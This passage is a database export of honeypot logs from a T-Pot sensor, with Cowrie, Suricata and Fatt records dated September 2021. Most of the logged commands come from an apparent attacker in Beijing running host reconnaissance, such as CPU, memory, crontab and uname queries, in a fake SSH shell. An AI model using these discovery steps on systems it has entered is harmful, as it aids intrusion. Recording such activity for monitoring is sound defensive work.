"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33345	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:50.151781+03	2021-09-20 15:00:05.742722+03	{"_id": "_wYPA3wBvYTbRNuEDk4l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56078, "timestamp": "2021-09-20T11:54:50.151781", "@timestamp": "2021-09-20T11:54:50.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33346	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:51.321016+03	2021-09-20 15:00:05.743722+03	{"_id": "DQYPA3wBvYTbRNuEE0-c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:51.321016Z", "@timestamp": "2021-09-20T11:54:51.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33347	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:51.878078+03	2021-09-20 15:00:05.745723+03	{"_id": "DwYPA3wBvYTbRNuEE0-c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "121.4.68.188", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.557682991027832, "duplicate": true, "timestamp": "2021-09-20T11:54:51.878078Z", "@timestamp": "2021-09-20T11:54:51.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33348	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:51.320472+03	2021-09-20 15:00:05.746722+03	{"_id": "EAYPA3wBvYTbRNuEE0-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:51.320472Z", "@timestamp": "2021-09-20T11:54:51.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
45163	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:40:32.362513+03	2021-09-20 16:45:02.59759+03	{"_id": "iAZvA3wBvYTbRNuE1Kp-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:40:32.362513Z", "@timestamp": "2021-09-20T13:40:32.362Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33349	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:52.882993+03	2021-09-20 15:00:05.747721+03	{"_id": "EQYPA3wBvYTbRNuEF0-F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "121.4.68.188", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5695207118988037, "duplicate": true, "timestamp": "2021-09-20T11:54:52.882993Z", "@timestamp": "2021-09-20T11:54:52.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33350	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:52.314092+03	2021-09-20 15:00:05.748721+03	{"_id": "EwYPA3wBvYTbRNuEF0-F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:52.314092Z", "@timestamp": "2021-09-20T11:54:52.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33351	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:54:52.549022+03	2021-09-20 15:00:05.749722+03	{"_id": "FAYPA3wBvYTbRNuEF0-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "98b12b2672a4", "@version": "1", "duration": 2.397902727127075, "timestamp": "2021-09-20T11:54:52.549022Z", "@timestamp": "2021-09-20T11:54:52.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33352	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:53.280554+03	2021-09-20 15:00:05.750722+03	{"_id": "FgYPA3wBvYTbRNuEG09t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:53.280554Z", "@timestamp": "2021-09-20T11:54:53.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33353	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:54.263203+03	2021-09-20 15:00:05.752722+03	{"_id": "GgYPA3wBvYTbRNuEH09W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:54.263203Z", "@timestamp": "2021-09-20T11:54:54.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33354	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:55:05.083948+03	2021-09-20 15:00:05.753722+03	{"_id": "TQYPA3wBvYTbRNuER0-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:55:04.940434+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 821, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 920095653648786, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51359, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:55:05.083948Z", "@timestamp": "2021-09-20T11:55:05.083Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
33355	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:55:05.083948+03	2021-09-20 15:00:05.754722+03	{"_id": "TgYPA3wBvYTbRNuER0-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 920095653648786, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51359, "dest_port": 22, "timestamp": "2021-09-20T11:55:05.083948Z", "@timestamp": "2021-09-20T11:55:05.083Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33356	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:56.752205+03	2021-09-20 15:00:05.755723+03	{"_id": "IwYPA3wBvYTbRNuEJ08n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "121.4.68.188", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5541248321533203, "duplicate": true, "timestamp": "2021-09-20T11:54:56.752205Z", "@timestamp": "2021-09-20T11:54:56.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33357	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:57.750828+03	2021-09-20 15:00:05.756722+03	{"_id": "JAYPA3wBvYTbRNuEK08Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "121.4.68.188", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5716667175292969, "duplicate": true, "timestamp": "2021-09-20T11:54:57.750828Z", "@timestamp": "2021-09-20T11:54:57.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33358	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:57.179773+03	2021-09-20 15:00:05.758722+03	{"_id": "JgYPA3wBvYTbRNuEK08Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:57.179773Z", "@timestamp": "2021-09-20T11:54:57.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33359	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:58.140773+03	2021-09-20 15:00:05.759723+03	{"_id": "KAYPA3wBvYTbRNuELk_5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:58.140773Z", "@timestamp": "2021-09-20T11:54:58.140Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33366	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:58.14131+03	2021-09-20 15:00:05.767722+03	{"_id": "KQYPA3wBvYTbRNuELk_5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:58.141310Z", "@timestamp": "2021-09-20T11:54:58.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33360	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:59.684837+03	2021-09-20 15:00:05.761722+03	{"_id": "LAYPA3wBvYTbRNuEMk_i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "121.4.68.188", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5766415596008301, "duplicate": true, "timestamp": "2021-09-20T11:54:59.684837Z", "@timestamp": "2021-09-20T11:54:59.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33361	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:59.10881+03	2021-09-20 15:00:05.762722+03	{"_id": "LQYPA3wBvYTbRNuEMk_i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:59.108810Z", "@timestamp": "2021-09-20T11:54:59.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33362	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:55.213719+03	2021-09-20 15:00:05.763721+03	{"_id": "HwYPA3wBvYTbRNuEI08_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:55.213719Z", "@timestamp": "2021-09-20T11:54:55.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33363	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:56.198154+03	2021-09-20 15:00:05.764723+03	{"_id": "IgYPA3wBvYTbRNuEJ08n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:56.198154Z", "@timestamp": "2021-09-20T11:54:56.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33364	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:57.179239+03	2021-09-20 15:00:05.765723+03	{"_id": "JQYPA3wBvYTbRNuEK08Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:57.179239Z", "@timestamp": "2021-09-20T11:54:57.179Z", 